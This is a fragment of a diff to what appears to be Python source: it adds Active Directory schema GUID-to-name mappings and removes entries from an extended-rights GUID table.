"46b27aac-aafa-4ffb-b773-e5bf621ee87b": "MSMQ-Group", + "b6e5e988-e5e4-4c86-a2ae-0dacb970a0e1": "ms-DS-Custom-Key-Information", + "ba305f6e-47e3-11d0-a1a6-00c04fd930c9": "Driver-Version", + "ce5b01bc-17c6-44b8-9dc1-a9668b00901b": "ms-DS-Enabled-Feature-BL", + "c458ca80-d34b-11d2-999a-0000f87a57d4": "MS-SQL-AllowQueuedUpdatingSubscription", + "ba305f70-47e3-11d0-a1a6-00c04fd930c9": "Print-Max-Y-Extent", + "e3f3cb4e-0f20-42eb-9703-d2ff26e52667": "BootFile", + "649ac98d-9b9a-4d41-af6b-f616f2a62e4a": "ms-DS-Key-Approximate-Last-Logon-Time-Stamp", + "d167aa4b-8b08-11d2-9939-0000f87a57d4": "DS-Core-Propagation-Data", + "e1e9bad7-c6dd-4101-a843-794cec85b038": "ms-DS-Entry-Time-To-Die", + "c49b8be8-d34b-11d2-999a-0000f87a57d4": "MS-SQL-AllowSnapshotFilesFTPDownloading", + "3bcbfcf5-4d3d-11d0-a1a6-00c04fd930c9": "Print-Media-Ready", + "969d3c79-0e9a-4d95-b0ac-bdde7ff8f3a1": "NisMapName", + "f780acc1-56f0-11d1-a9c6-0000f80367c1": "Application-Settings", + "50776997-3c3d-11d2-90cc-00c04fd91ab1": "MSMQ-Migrated-User", + "f0f8ff86-1191-11d0-a060-00aa006c33ed": "DS-Heuristics", + "9d054a5a-d187-46c1-9d85-42dfc44a56dd": "ms-DS-ExecuteScriptPassword", + "c4e311fc-d34b-11d2-999a-0000f87a57d4": "MS-SQL-ThirdParty", + "244b296f-5abd-11d0-afd2-00c04fd930c9": "Print-Media-Supported", + "4a95216e-fcc0-402e-b57f-5971626148a9": "NisMapEntry", + "ee1f5543-7c2e-476a-8b3f-e11f4af6c498": "ms-DS-Key-Credential", + "ee8d0ae0-6f91-11d2-9905-0000f87a57d4": "DS-UI-Admin-Maximum", + "b92fd528-38ac-40d4-818d-0433380837c1": "ms-DS-External-Key", + "4cc4601e-7201-4141-abc8-3e529ae88863": "ms-TAPI-Conference-Blob", + "ba305f74-47e3-11d0-a1a6-00c04fd930c9": "Print-Memory", + "27eebfa2-fbeb-4f8e-aad6-c50247994291": "msSFU-30-Search-Container", + "19195a5c-6da0-11d0-afd3-00c04fd930c9": "Application-Site-Settings", + "9a0dc343-c100-11d1-bbc5-0080c76670c0": "MSMQ-Queue", + "938ad788-225f-4eee-93b9-ad24a159e1db": "ms-DS-Key-Credential-Link-BL", + "f6ea0a94-6f91-11d2-9905-0000f87a57d4": "DS-UI-Admin-Notification", + "604877cd-9cdb-47c7-b03d-3daadb044910": "ms-DS-External-Store", + "efd7d7f7-178e-4767-87fa-f8a16b840544": "ms-TAPI-Ip-Address", + "ba305f71-47e3-11d0-a1a6-00c04fd930c9": "Print-Min-X-Extent", + "32ecd698-ce9e-4894-a134-7ad76b082e83": "msSFU-30-Key-Attributes", + "bf967aba-0de6-11d0-a285-00aa003049e2": "User", + "fcca766a-6f91-11d2-9905-0000f87a57d4": "DS-UI-Shell-Maximum", + "9b88bda8-dd82-4998-a91d-5f2d2baf1927": "ms-DS-Optional-Feature-GUID", + "89c1ebcf-7a5f-41fd-99ca-c900b32299ab": "ms-TAPI-Protocol-Id", + "ba305f72-47e3-11d0-a1a6-00c04fd930c9": "Print-Min-Y-Extent", + "a2e11a42-e781-4ca1-a7fa-ec307f62b6a1": "msSFU-30-Field-Separator", + "ddc790ac-af4d-442a-8f0f-a1d4caa7dd92": "Application-Version", + "9a0dc347-c100-11d1-bbc5-0080c76670c0": "MSMQ-Settings", + "167757bc-47f3-11d1-a9c3-0000f80367c1": "DSA-Signature", + "fb00dcdf-ac37-483a-9c12-ac53a6603033": "ms-DS-Filter-Containers", + "70a4e7ea-b3b9-4643-8918-e6dd2471bfd4": "ms-TAPI-Unique-Identifier", + "ba305f79-47e3-11d0-a1a6-00c04fd930c9": "Print-Network-Address", + "95b2aef0-27e4-4cb9-880a-a2d9a9ea23b8": "msSFU-30-Intra-Field-Separator", + "5df2b673-6d41-4774-b3e8-d52e8ee9ff99": "ms-DS-Device", + "52458021-ca6a-11d0-afff-0000f80367c1": "Dynamic-LDAP-Server", + "11e9a5bc-4517-4049-af9c-51554fb0fc09": "ms-DS-Has-Instantiated-NCs", + "6366c0c1-6972-4e66-b3a5-1d52ad0c0547": "ms-WMI-Author", + "ba305f6a-47e3-11d0-a1a6-00c04fd930c9": "Print-Notify", + "ef9a2df0-2e57-48c8-8950-0cc674004733": "msSFU-30-Search-Attributes", + "9a0dc346-c100-11d1-bbc5-0080c76670c0": "MSMQ-Site-Link", + "5b47d60f-6090-40b2-9f37-2a4de88f3063": "ms-DS-Key-Credential-Link", + "bf967961-0de6-11d0-a285-00aa003049e2": "E-mail-Addresses", + "6f17e347-a842-4498-b8b3-15e007da4fed": "ms-DS-Has-Domain-NCs", + "f9cdf7a0-ec44-4937-a79b-cd91522b3aa8": "ms-WMI-ChangeDate", + "3bcbfcf4-4d3d-11d0-a1a6-00c04fd930c9": "Print-Number-Up", + "e167b0b6-4045-4433-ac35-53f972d45cba": "msSFU-30-Result-Attributes", + "bf967a81-0de6-11d0-a285-00aa003049e2": "Builtin-Domain", + "8e4eb2ec-4712-11d0-a1a0-00c04fd930c9": "EFSPolicy", + "ae2de0e2-59d7-4d47-8d47-ed4dfe4357ad": "ms-DS-Has-Master-NCs", + "90c1925f-4a24-4b07-b202-be32eb3c8b74": "ms-WMI-Class", + "281416d0-1968-11d0-a28f-00aa003049e2": "Print-Orientations-Supported", + "b7b16e01-024f-4e23-ad0d-71f1a406b684": "msSFU-30-Map-Filter", + "19195a60-6da0-11d0-afd3-00c04fd930c9": "NTDS-Connection", + "f2699093-f25a-4220-9deb-03df4cc4a9c5": "Dns-Zone-Scope-Container", + "bf967962-0de6-11d0-a285-00aa003049e2": "Employee-ID", + "80641043-15a2-40e1-92a2-8ca866f70776": "ms-DS-Host-Service-Account", + "2b9c0ebc-c272-45cb-99d2-4d0e691632e0": "ms-WMI-ClassDefinition", + "ba305f69-47e3-11d0-a1a6-00c04fd930c9": "Print-Owner", + "4cc908a2-9e18-410e-8459-f17cc422020a": "msSFU-30-Master-Server-Name", + "7d6c0e9d-7e20-11d0-afd6-00c04fd930c9": "Category-Registration", + "a8df73ef-c5ea-11d1-bbcb-0080c76670c0": "Employee-Number", + "79abe4eb-88f3-48e7-89d6-f4bc7e98c331": "ms-DS-Host-Service-Account-BL", + "748b0a2e-3351-4b3f-b171-2f17414ea779": "ms-WMI-CreationDate", + "19405b97-3cfa-11d1-a9c0-0000f80367c1": "Print-Pages-Per-Minute", + "02625f05-d1ee-4f9f-b366-55266becb95c": "msSFU-30-Order-Number", + "f0f8ffab-1191-11d0-a060-00aa006c33ed": "NTDS-DSA", + "696f8a61-2d3f-40ce-a4b3-e275dfcc49c5": "Dns-Zone-Scope", + "a8df73f0-c5ea-11d1-bbcb-0080c76670c0": "Employee-Type", + "7bc64cea-c04e-4318-b102-3e0729371a65": "ms-DS-Integer", + "50c8673a-8f56-4614-9308-9e1340fb9af3": "ms-WMI-Genus", + "ba305f77-47e3-11d0-a1a6-00c04fd930c9": "Print-Rate", + "16c5d1d3-35c2-4061-a870-a5cefda804f0": "msSFU-30-Name", + "3fdfee50-47f4-11d1-a9c3-0000f80367c1": "Certification-Authority", + "a8df73f2-c5ea-11d1-bbcb-0080c76670c0": "Enabled", + "bc60096a-1b47-4b30-8877-602c93f56532": "ms-DS-IntId", + "9339a803-94b8-47f7-9123-a853b9ff7e45": "ms-WMI-ID", + "ba305f78-47e3-11d0-a1a6-00c04fd930c9": "Print-Rate-Unit", + "20ebf171-c69a-4c31-b29d-dcb837d8912d": "msSFU-30-Aliases", + "85d16ec1-0791-4bc8-8ab3-70980602ff8c": "NTDS-DSA-RO", + "e0fa1e8c-9b45-11d0-afdd-00c04fd930c9": "Dns-Node", + "bf967963-0de6-11d0-a285-00aa003049e2": "Enabled-Connection", + "6fabdcda-8c53-204f-b1a4-9df0c67c1eb4": "ms-DS-Is-Possible-Values-Present", + "1b0c07f8-76dd-4060-a1e1-70084619dc90": "ms-WMI-intDefault", + "281416c6-1968-11d0-a28f-00aa003049e2": "Print-Separator-File", + "37830235-e5e9-46f2-922b-d8d44f03e7ae": "msSFU-30-Key-Values", + "bf967a82-0de6-11d0-a285-00aa003049e2": "Class-Registration", + "3417ab48-df24-4fb1-80b0-0fcb367e25e3": "ms-DS-Expire-Passwords-On-Smart-Card-Only-Accounts", + "2a39c5b3-8960-11d1-aebc-0000f80367c1": "Enrollment-Providers", + "1df5cf33-0fe5-499e-90e1-e94b42718a46": "ms-DS-isGC", + "18e006b9-6445-48e3-9dcf-b5ecfbc4df8e": "ms-WMI-intFlags1", + "ba305f68-47e3-11d0-a1a6-00c04fd930c9": "Print-Share-Name", + "9ee3b2e3-c7f3-45f8-8c9f-1382be4984d2": "msSFU-30-Nis-Domain", + "19195a5f-6da0-11d0-afd3-00c04fd930c9": "NTDS-Service", + "65650576-4699-4fc9-8d18-26e0cd0137a6": "ms-DS-Token-Group-Names", + "d213decc-d81a-4384-aac2-dcfcfd631cf8": "Entry-TTL", + "a8e8aa23-3e67-4af1-9d7a-2f1a1d633ac9": "ms-DS-isRODC", + "075a42c9-c55a-45b1-ac93-eb086b31f610": "ms-WMI-intFlags2", + "ba305f6c-47e3-11d0-a1a6-00c04fd930c9": "Print-Spooling", + "93095ed3-6f30-4bdd-b734-65d569f5f7c9": "msSFU-30-Domains", + "fa06d1f4-7922-4aad-b79c-b2201f54417c": "ms-DS-Token-Group-Names-Global-And-Universal", + "9a7ad947-ca53-11d1-bbd0-0080c76670c0": "Extended-Attribute-Info", + "8ab15858-683e-466d-877f-d640e1f9a611": "ms-DS-Last-Known-RDN", + "f29fa736-de09-4be4-b23a-e734c124bacc": "ms-WMI-intFlags3", + "ba305f73-47e3-11d0-a1a6-00c04fd930c9": "Print-Stapling-Supported", + "084a944b-e150-4bfe-9345-40e1aedaebba": "msSFU-30-Yp-Servers", + "bf967a84-0de6-11d0-a285-00aa003049e2": "Class-Store", + "19195a5d-6da0-11d0-afd3-00c04fd930c9": "NTDS-Site-Settings", + "523fc6c8-9af4-4a02-9cd7-3dea129eeb27": "ms-DS-Token-Group-Names-No-GC-Acceptable", + "bf967966-0de6-11d0-a285-00aa003049e2": "Extended-Chars-Allowed", + "c523e9c0-33b5-4ac8-8923-b57b927f42f6": "ms-DS-KeyVersionNumber", + "bd74a7ac-c493-4c9c-bdfa-5c7b119ca6b2": "ms-WMI-intFlags4", + "281416c9-1968-11d0-a28f-00aa003049e2": "Print-Start-Time", + "04ee6aa6-f83b-469a-bf5a-3c00d3634669": "msSFU-30-Max-Gid-Number", + "9a7ad948-ca53-11d1-bbd0-0080c76670c0": "Extended-Class-Info", + "ad7940f8-e43a-4a42-83bc-d688e59ea605": "ms-DS-Logon-Time-Sync-Interval", + "fb920c2c-f294-4426-8ac1-d24b42aa2bce": "ms-WMI-intMax", + "ba305f6b-47e3-11d0-a1a6-00c04fd930c9": "Print-Status", + "ec998437-d944-4a28-8500-217588adfc75": "msSFU-30-Max-Uid-Number", + "bf967a85-0de6-11d0-a285-00aa003049e2": "Com-Connection-Point", + "2a132586-9373-11d1-aebc-0000f80367c1": "NTFRS-Member", + "bf967ab0-0de6-11d0-a285-00aa003049e2": "Security-Principal", + "bf967972-0de6-11d0-a285-00aa003049e2": "Extension-Name", + "60234769-4819-4615-a1b2-49d2f119acb5": "ms-DS-Mastered-By", + "68c2e3ba-9837-4c70-98e0-f0c33695d023": "ms-WMI-intMin", + "244b296e-5abd-11d0-afd2-00c04fd930c9": "Printer-Name", + "585c9d5e-f599-4f07-9cf9-4373af4b89d3": "msSFU-30-NSMAP-Field-Position", + "7ece040f-9327-4cdc-aad3-037adfe62639": "ms-DS-User-Allowed-NTLM-Network-Authentication", + "d24e2846-1dd9-4bcf-99d7-a6227cc86da7": "Extra-Columns", + "fdd337f5-4999-4fce-b252-8ff9c9b43875": "ms-DS-Maximum-Password-Age", + "6af565f6-a749-4b72-9634-3c5d47e6b4e0": "ms-WMI-intValidValues", + "bf967a01-0de6-11d0-a285-00aa003049e2": "Prior-Set-Time", + "c875d82d-2848-4cec-bb50-3c5486d09d57": "msSFU-30-Posix-Member", + "bf967a86-0de6-11d0-a285-00aa003049e2": "Computer", + "5245803a-ca6a-11d0-afff-0000f80367c1": "NTFRS-Replica-Set", + "278947b9-5222-435e-96b7-1503858c2b48": "ms-DS-Service-Allowed-NTLM-Network-Authentication", + "bf967974-0de6-11d0-a285-00aa003049e2": "Facsimile-Telephone-Number", + "2a74f878-4d9c-49f9-97b3-6767d1cbd9a3": "ms-DS-Minimum-Password-Age", + "f4d8085a-8c5b-4785-959b-dc585566e445": "ms-WMI-int8Default", + "bf967a02-0de6-11d0-a285-00aa003049e2": "Prior-Value", + "7bd76b92-3244-438a-ada6-24f5ea34381e": "msSFU-30-Posix-Member-Of", + "aacd2170-482a-44c6-b66e-42c2f66a285c": "ms-DS-Strong-NTLM-Policy", + "d9e18315-8939-11d1-aebc-0000f80367c1": "File-Ext-Priority", + "b21b3439-4c3a-441c-bb5f-08f20e9b315e": "ms-DS-Minimum-Password-Length", + "e3d8b547-003d-4946-a32b-dc7cedc96b74": "ms-WMI-int8Max", + "281416c7-1968-11d0-a28f-00aa003049e2": "Priority", + "97d2bf65-0466-4852-a25a-ec20f57ee36c": "msSFU-30-Netgroup-Host-At-Domain", + "bf967a87-0de6-11d0-a285-00aa003049e2": "Configuration", + "f780acc2-56f0-11d1-a9c6-0000f80367c1": "NTFRS-Settings", + "bf967976-0de6-11d0-a285-00aa003049e2": "Flags", + "f9c9a57c-3941-438d-bebf-0edaf2aca187": "ms-DS-OIDToGroup-Link", + "ed1489d1-54cc-4066-b368-a00daa2664f1": "ms-WMI-int8Min", + "bf967a03-0de6-11d0-a285-00aa003049e2": "Private-Key", + "a9e84eed-e630-4b67-b4b3-cad2a82d345e": "msSFU-30-Netgroup-User-At-Domain", + "ab6a1156-4dc7-40f5-9180-8e4ce42fe5cd": "ms-DS-AuthN-Policy", + "b7b13117-b82e-11d0-afee-0000f80367c1": "Flat-Name", + "1a3d0d20-5844-4199-ad25-0f5039a76ada": "ms-DS-OIDToGroup-Link-BL", + "103519a9-c002-441b-981a-b0b3e012c803": "ms-WMI-int8ValidValues", + "19405b9a-3cfa-11d1-a9c0-0000f80367c1": "Privilege-Attributes", + "0dea42f5-278d-4157-b4a7-49b59664915b": "msSFU-30-Is-Valid-Container", + "5cb41ecf-0e4c-11d0-a286-00aa003049e2": "Connection-Point", + "2a132588-9373-11d1-aebc-0000f80367c1": "NTFRS-Subscriber", + "b002f407-1340-41eb-bca0-bd7d938e25a9": "ms-DS-Source-Anchor", + "bf967977-0de6-11d0-a285-00aa003049e2": "Force-Logoff", + "fed81bb7-768c-4c2f-9641-2245de34794d": "ms-DS-Password-History-Length", + "6736809f-2064-443e-a145-81262b1f1366": "ms-WMI-Mof", + "19405b98-3cfa-11d1-a9c0-0000f80367c1": "Privilege-Display-Name", + "4503d2a3-3d70-41b8-b077-dff123c15865": "msSFU-30-Crypt-Method", + "5cb41ed0-0e4c-11d0-a286-00aa003049e2": "Contact", + "34f6bdf5-2e79-4c3b-8e14-3d93b75aab89": "ms-DS-Object-SOA", + "3e97891e-8c01-11d0-afda-00c04fd930c9": "Foreign-Identifier", + "db68054b-c9c3-4bf0-b15b-0fb52552a610": "ms-DS-Password-Complexity-Enabled", + "c6c8ace5-7e81-42af-ad72-77412c5941c4": "ms-WMI-Name", + "19405b9b-3cfa-11d1-a9c0-0000f80367c1": "Privilege-Holder", + "e65c30db-316c-4060-a3a0-387b083f09cd": "ms-TS-Profile-Path", + "bf967aa7-0de6-11d0-a285-00aa003049e2": "Person", + "2a132587-9373-11d1-aebc-0000f80367c1": "NTFRS-Subscriptions", + "7bfdcb88-4807-11d1-a9c3-0000f80367c1": "Friendly-Names", + "75ccdd8f-af6c-4487-bb4b-69e4d38a959c": "ms-DS-Password-Reversible-Encryption-Enabled", + "eaba628f-eb8e-4fe9-83fc-693be695559b": "ms-WMI-NormalizedClass", + "19405b99-3cfa-11d1-a9c0-0000f80367c1": "Privilege-Value", + "5d3510f0-c4e7-4122-b91f-a20add90e246": "ms-TS-Home-Directory", + "bf967ab7-0de6-11d0-a285-00aa003049e2": "Top", + "9a7ad949-ca53-11d1-bbd0-0080c76670c0": "From-Entry", + "94f2800c-531f-4aeb-975d-48ac39fd8ca4": "ms-DS-Local-Effective-Deletion-Time", + "27e81485-b1b0-4a8b-bedd-ce19a837e26e": "ms-WMI-Parm1", + "d9e18317-8939-11d1-aebc-0000f80367c1": "Product-Code", + "5f0a24d9-dffa-4cd9-acbf-a0680c03731e": "ms-TS-Home-Drive", + "bf967a8b-0de6-11d0-a285-00aa003049e2": "Container", + "bf967aa3-0de6-11d0-a285-00aa003049e2": "Organization", + "bf967979-0de6-11d0-a285-00aa003049e2": "From-Server", + "4ad6016b-b0d2-4c9b-93b6-5964b17b968c": "ms-DS-Local-Effective-Recycle-Time", + "0003508e-9c42-4a76-a8f4-38bf64bab0de": "ms-WMI-Parm2", + "bf967a05-0de6-11d0-a285-00aa003049e2": "Profile-Path", + "3a0cd464-bc54-40e7-93ae-a646a6ecc4b4": "ms-TS-Allow-Logon", + "bf967aa4-0de6-11d0-a285-00aa003049e2": "Organizational-Person", + "bf967a90-0de6-11d0-a285-00aa003049e2": "Sam-Domain", + "2a132578-9373-11d1-aebc-0000f80367c1": "Frs-Computer-Reference", + "b05bda89-76af-468a-b892-1be55558ecc8": "ms-DS-Lockout-Observation-Window", + "45958fb6-52bd-48ce-9f9f-c2712d9f2bfc": "ms-WMI-Parm3", + "e1aea402-cd5b-11d0-afff-0000f80367c1": "Proxied-Object-Name", + "15177226-8642-468b-8c48-03ddfd004982": "ms-TS-Remote-Control", + "8297931e-86d3-11d0-afda-00c04fd930c9": "Control-Access-Right", + "2a132579-9373-11d1-aebc-0000f80367c1": "Frs-Computer-Reference-BL", + "421f889a-472e-4fe4-8eb9-e1d0bc6071b2": "ms-DS-Lockout-Duration", + "3800d5a3-f1ce-4b82-a59a-1528ea795f59": "ms-WMI-Parm4", + "bf967a06-0de6-11d0-a285-00aa003049e2": "Proxy-Addresses", + "326f7089-53d8-4784-b814-46d8535110d2": "ms-TS-Max-Disconnection-Time", + "a8df74bf-c5ea-11d1-bbcb-0080c76670c0": "Organizational-Role", + "2a13257a-9373-11d1-aebc-0000f80367c1": "FRS-Control-Data-Creation", + "b8c8c35e-4a19-4a95-99d0-69fe4446286f": "ms-DS-Lockout-Threshold", + "ab920883-e7f8-4d72-b4a0-c0449897509d": "ms-WMI-PropertyName", + "5fd424d6-1262-11d0-a060-00aa006c33ed": "Proxy-Generation-Enabled", + "1d960ee2-6464-4e95-a781-e3b5cd5f9588": "ms-TS-Max-Connection-Time", + "bf967a8c-0de6-11d0-a285-00aa003049e2": "Country", + "2a13257b-9373-11d1-aebc-0000f80367c1": "FRS-Control-Inbound-Backlog", + "64c80f48-cdd2-4881-a86d-4e97b6f561fc": "ms-DS-PSO-Applies-To", + "65fff93e-35e3-45a3-85ae-876c6718297f": "ms-WMI-Query", + "bf967a07-0de6-11d0-a285-00aa003049e2": "Proxy-Lifetime", + "ff739e9c-6bb7-460e-b221-e250f3de0f95": "ms-TS-Max-Idle-Time", + "bf967aa5-0de6-11d0-a285-00aa003049e2": "Organizational-Unit", + "2a13257c-9373-11d1-aebc-0000f80367c1": "FRS-Control-Outbound-Backlog", + "5e6cf031-bda8-43c8-aca4-8fee4127005b": "ms-DS-PSO-Applied", + "7d3cfa98-c17b-4254-8bd7-4de9b932a345": "ms-WMI-QueryLanguage", + "80a67e28-9f22-11d0-afdd-00c04fd930c9": "Public-Key-Policy", + "366ed7ca-3e18-4c7f-abae-351a01e4b4f7": "ms-TS-Reconnection-Action", + "167758ca-47f3-11d1-a9c3-0000f80367c1": "CRL-Distribution-Point", + "1be8f171-a9ff-11d0-afe2-00c04fd930c9": "FRS-Directory-Filter", + "eadd3dfe-ae0e-4cc2-b9b9-5fe5b6ed2dd2": "ms-DS-Required-Domain-Behavior-Version", + "87b78d51-405f-4b7f-80ed-2bd28786f48d": "ms-WMI-ScopeGuid", + "b4b54e50-943a-11d1-aebd-0000f80367c1": "Purported-Search", + "1cf41bba-5604-463e-94d6-1a1287b72ca3": "ms-TS-Broken-Connection-Action", + "bf967aa6-0de6-11d0-a285-00aa003049e2": "Package-Registration", + "1be8f177-a9ff-11d0-afe2-00c04fd930c9": "FRS-DS-Poll", + "4beca2e8-a653-41b2-8fee-721575474bec": "ms-DS-Required-Forest-Behavior-Version", + "34f7ed6c-615d-418d-aa00-549a7d7be03e": "ms-WMI-SourceOrganization", + "bf967a09-0de6-11d0-a285-00aa003049e2": "Pwd-History-Length", + "23572aaf-29dd-44ea-b0fa-7e8438b9a4a3": "ms-TS-Connect-Client-Drives", + "bf967a8d-0de6-11d0-a285-00aa003049e2": "Cross-Ref", + "52458020-ca6a-11d0-afff-0000f80367c1": "FRS-Extensions", + "b77ea093-88d0-4780-9a98-911f8e8b1dca": "ms-DS-Resultant-PSO", + "152e42b6-37c5-4f55-ab48-1606384a9aea": "ms-WMI-stringDefault", + "bf967a0a-0de6-11d0-a285-00aa003049e2": "Pwd-Last-Set", + "8ce6a937-871b-4c92-b285-d99d4036681c": "ms-TS-Connect-Printer-Drives", + "1be8f178-a9ff-11d0-afe2-00c04fd930c9": "FRS-Fault-Condition", + "456374ac-1f0a-4617-93cf-bc55a7c9d341": "ms-DS-Password-Settings-Precedence", + "37609d31-a2bf-4b58-8f53-2b64e57a076d": "ms-WMI-stringValidValues", + "bf967a0b-0de6-11d0-a285-00aa003049e2": "Pwd-Properties", + "c0ffe2bd-cacf-4dc7-88d5-61e9e95766f6": "ms-TS-Default-To-Main-Printer", + "ef9e60e0-56f7-11d1-a9c6-0000f80367c1": "Cross-Ref-Container", + "b7b13122-b82e-11d0-afee-0000f80367c1": "Physical-Location", + "1be8f170-a9ff-11d0-afe2-00c04fd930c9": "FRS-File-Filter", + "d1e169a4-ebe9-49bf-8fcb-8aef3874592d": "ms-DS-Max-Values", + "95b6d8d6-c9e8-4661-a2bc-6a5cabc04c62": "ms-WMI-TargetClass", + "80a67e4e-9f22-11d0-afdd-00c04fd930c9": "Quality-Of-Service", + "a744f666-3d3c-4cc8-834b-9d4f6f687b8b": "ms-TS-Work-Directory", + "2a13257d-9373-11d1-aebc-0000f80367c1": "FRS-Flags", + "cbf7e6cd-85a4-4314-8939-8bfe80597835": "ms-DS-Members-For-Az-Role", + "1c4ab61f-3420-44e5-849d-8b5dbf60feb7": "ms-WMI-TargetNameSpace", + "cbf70a26-7e78-11d2-9921-0000f87a57d4": "Query-Filter", + "9201ac6f-1d69-4dfb-802e-d95510109599": "ms-TS-Initial-Program", + "bf967a8e-0de6-11d0-a285-00aa003049e2": "Device", + "e5209ca2-3bba-11d2-90cc-00c04fd91ab1": "PKI-Certificate-Template", + "5245801e-ca6a-11d0-afff-0000f80367c1": "FRS-Level-Limit", + "ececcd20-a7e0-4688-9ccf-02ece5e287f5": "ms-DS-Members-For-Az-Role-BL", + "c44f67a5-7de5-4a1f-92d9-662b57364b77": "ms-WMI-TargetObject", + "e1aea404-cd5b-11d0-afff-0000f80367c1": "Query-Policy-BL", + "40e1c407-4344-40f3-ab43-3625a34a63a2": "ms-TS-Endpoint-Data", + "2a13257e-9373-11d1-aebc-0000f80367c1": "FRS-Member-Reference", + "5a2eacd7-cc2b-48cf-9d9a-b6f1a0024de9": "ms-DS-NC-Type", + "5006a79a-6bfe-4561-9f52-13cf4dd3e560": "ms-WMI-TargetPath", + "e1aea403-cd5b-11d0-afff-0000f80367c1": "Query-Policy-Object", + "377ade80-e2d8-46c5-9bcd-6d9dec93b35e": "ms-TS-Endpoint-Type", + "8447f9f2-1027-11d0-a05f-00aa006c33ed": "Dfs-Configuration", + "ee4aa692-3bba-11d2-90cc-00c04fd91ab1": "PKI-Enrollment-Service", + "2a13257f-9373-11d1-aebc-0000f80367c1": "FRS-Member-Reference-BL", + "cafcb1de-f23c-46b5-adf7-1e64957bd5db": "ms-DS-Non-Members", + "ca2a281e-262b-4ff7-b419-bc123352a4e9": "ms-WMI-TargetType", + "7bfdcb86-4807-11d1-a9c3-0000f80367c1": "QueryPoint", + "3c08b569-801f-4158-b17b-e363d6ae696a": "ms-TS-Endpoint-Plugin", } EXTENDED_RIGHTS = { - 'ab721a52-1e2f-11d0-9819-00aa0040529b': 'Domain-Administer-Server', - 'ab721a53-1e2f-11d0-9819-00aa0040529b': 'User-Change-Password', - '00299570-246d-11d0-a768-00aa006e0529': 'User-Force-Change-Password', - 'ab721a55-1e2f-11d0-9819-00aa0040529b': 'Send-To', - 'c7407360-20bf-11d0-a768-00aa006e0529': 'Domain-Password', - '59ba2f42-79a2-11d0-9020-00c04fc2d3cf': 'General-Information', - '4c164200-20c0-11d0-a768-00aa006e0529': 'User-Account-Restrictions', - '5f202010-79a5-11d0-9020-00c04fc2d4cf': 'User-Logon', - 'bc0ac240-79a9-11d0-9020-00c04fc2d4cf': 'Membership', - 'a1990816-4298-11d1-ade2-00c04fd8d5cd': 'Open-Address-Book', - 'e45795b2-9455-11d1-aebd-0000f80367c1': 'Email-Information', - 'e45795b3-9455-11d1-aebd-0000f80367c1': 'Web-Information', - '1131f6aa-9c07-11d1-f79f-00c04fc2dcd2': 'DS-Replication-Get-Changes', - '1131f6ab-9c07-11d1-f79f-00c04fc2dcd2': 'DS-Replication-Synchronize', - '1131f6ac-9c07-11d1-f79f-00c04fc2dcd2': 'DS-Replication-Manage-Topology', - 'e12b56b6-0a95-11d1-adbb-00c04fd8d5cd': 'Change-Schema-Master', - 'd58d5f36-0a98-11d1-adbb-00c04fd8d5cd': 'Change-Rid-Master', - 'fec364e0-0a98-11d1-adbb-00c04fd8d5cd': 'Do-Garbage-Collection', - '0bc1554e-0a99-11d1-adbb-00c04fd8d5cd': 'Recalculate-Hierarchy', - '1abd7cf8-0a99-11d1-adbb-00c04fd8d5cd': 'Allocate-Rids', - 'bae50096-4752-11d1-9052-00c04fc2d4cf': 'Change-PDC', - '440820ad-65b4-11d1-a3da-0000f875ae0d': 'Add-GUID', - '014bf69c-7b3b-11d1-85f6-08002be74fab': 'Change-Domain-Master', - '4b6e08c0-df3c-11d1-9c86-006008764d0e': 'msmq-Receive-Dead-Letter', - '4b6e08c1-df3c-11d1-9c86-006008764d0e': 'msmq-Peek-Dead-Letter', - '4b6e08c2-df3c-11d1-9c86-006008764d0e': 'msmq-Receive-computer-Journal', - '4b6e08c3-df3c-11d1-9c86-006008764d0e': 'msmq-Peek-computer-Journal', - '06bd3200-df3e-11d1-9c86-006008764d0e': 'msmq-Receive', - '06bd3201-df3e-11d1-9c86-006008764d0e': 'msmq-Peek', - '06bd3202-df3e-11d1-9c86-006008764d0e': 'msmq-Send', - '06bd3203-df3e-11d1-9c86-006008764d0e': 'msmq-Receive-journal', - 'b4e60130-df3f-11d1-9c86-006008764d0e': 'msmq-Open-Connector', - 'edacfd8f-ffb3-11d1-b41d-00a0c968f939': 'Apply-Group-Policy', - '037088f8-0ae1-11d2-b422-00a0c968f939': 'RAS-Information', - '9923a32a-3607-11d2-b9be-0000f87a36b2': 'DS-Install-Replica', - 'cc17b1fb-33d9-11d2-97d4-00c04fd8d5cd': 'Change-Infrastructure-Master', - 'be2bb760-7f46-11d2-b9ad-00c04f79f805': 'Update-Schema-Cache', - '62dd28a8-7f46-11d2-b9ad-00c04f79f805': 'Recalculate-Security-Inheritance', - '69ae6200-7f46-11d2-b9ad-00c04f79f805': 'DS-Check-Stale-Phantoms', - '0e10c968-78fb-11d2-90d4-00c04f79dc55': 'Certificate-Enrollment', - 'bf9679c0-0de6-11d0-a285-00aa003049e2': 'Self-Membership', - '72e39547-7b18-11d1-adef-00c04fd8d5cd': 'Validated-DNS-Host-Name', - 'b7b1b3dd-ab09-4242-9e30-9980e5d322f7': 'Generate-RSoP-Planning', - '9432c620-033c-4db7-8b58-14ef6d0bf477': 'Refresh-Group-Cache', - '91d67418-0135-4acc-8d79-c08e857cfbec': 'SAM-Enumerate-Entire-Domain', - 'b7b1b3de-ab09-4242-9e30-9980e5d322f7': 'Generate-RSoP-Logging', - 'b8119fd0-04f6-4762-ab7a-4986c76b3f9a': 'Domain-Other-Parameters', - 'e2a36dc9-ae17-47c3-b58b-be34c55ba633': 'Create-Inbound-Forest-Trust', - '1131f6ad-9c07-11d1-f79f-00c04fc2dcd2': 'DS-Replication-Get-Changes-All', - 'ba33815a-4f93-4c76-87f3-57574bff8109': 'Migrate-SID-History', - '45ec5156-db7e-47bb-b53f-dbeb2d03c40f': 'Reanimate-Tombstones', - '2f16c4a5-b98e-432c-952a-cb388ba33f2e': 'DS-Execute-Intentions-Script', - 'f98340fb-7c5b-4cdb-a00b-2ebdfa115a96': 'DS-Replication-Monitor-Topology', - '280f369c-67c7-438e-ae98-1d46f3c6f541': 'Update-Password-Not-Required-Bit', - 'ccc2dc7d-a6ad-4a7a-8846-c04e3cc53501': 'Unexpire-Password', - '05c74c5e-4deb-43b4-bd9f-86664c2a7fd5': 'Enable-Per-User-Reversibly-Encrypted-Password', - '4ecc03fe-ffc0-4947-b630-eb672a8a9dbc': 'DS-Query-Self-Quota', - '91e647de-d96f-4b70-9557-d63ff4f3ccd8': 'Private-Information', - '1131f6ae-9c07-11d1-f79f-00c04fc2dcd2': 'Read-Only-Replication-Secret-Synchronization', - '5805bc62-bdc9-4428-a5e2-856a0f4c185e': 'Terminal-Server-License-Server', - 